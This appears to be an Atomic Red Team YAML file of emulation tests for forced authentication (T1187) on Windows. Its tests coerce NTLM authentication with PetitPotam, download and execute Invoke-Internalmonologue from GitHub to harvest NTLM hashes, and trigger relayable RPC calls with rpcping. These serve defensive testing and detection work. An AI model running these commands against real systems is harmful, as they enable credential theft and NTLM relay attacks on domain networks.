Files
2024-04-27 18:09:22 +00:00

74 lines
3.1 KiB
YAML

attack_technique: T1187
display_name: Forced Authentication
atomic_tests:
- name: PetitPotam
auto_generated_guid: 485ce873-2e65-4706-9c7e-ae3ab9e14213
description: |
This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.
supported_platforms:
- windows
input_arguments:
captureServerIP:
description: Computer IP to use to receive the authentication (ex. attacker machine used for NTLM relay)
type: string
default: 10.0.0.3
targetServerIP:
description: Computer IP to force authentication from (ex. domain controller)
type: string
default: 10.0.0.2
efsApi:
description: EFS API to use to coerce authentication
type: integer
default: 1
petitpotam_path:
description: PetitPotam Windows executable
type: path
default: 'PathToAtomicsFolder\..\ExternalPayloads\PetitPotam.exe'
dependency_executor_name: powershell
dependencies:
- description: |
PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).
And the computer must be domain joined (implicit authentication).
prereq_command: |
if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit 1 }
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true" -OutFile "#{petitpotam_path}"
executor:
name: powershell
elevation_required: false
command: |
& "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
Write-Host "End of PetitPotam attack"
- name: WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS
auto_generated_guid: 7f06b25c-799e-40f1-89db-999c9cc84317
description: PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn
supported_platforms:
- windows
executor:
command: |-
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1')
Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true"
name: powershell
- name: Trigger an authenticated RPC call to a target server with no Sign flag set
auto_generated_guid: 81cfdd7f-1f41-4cc5-9845-bb5149438e37
description: |-
RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set)
Ref: https://twitter.com/splinter_code/status/1421144623678988298
supported_platforms:
- windows
input_arguments:
custom_port:
description: Specify the custom port number
type: integer
default: "9997"
server_ip:
description: Specify the server IP address. If not specified, the loop back IP will be used
type: string
default: 127.0.0.1
executor:
command: 'rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null'
name: powershell
elevation_required: false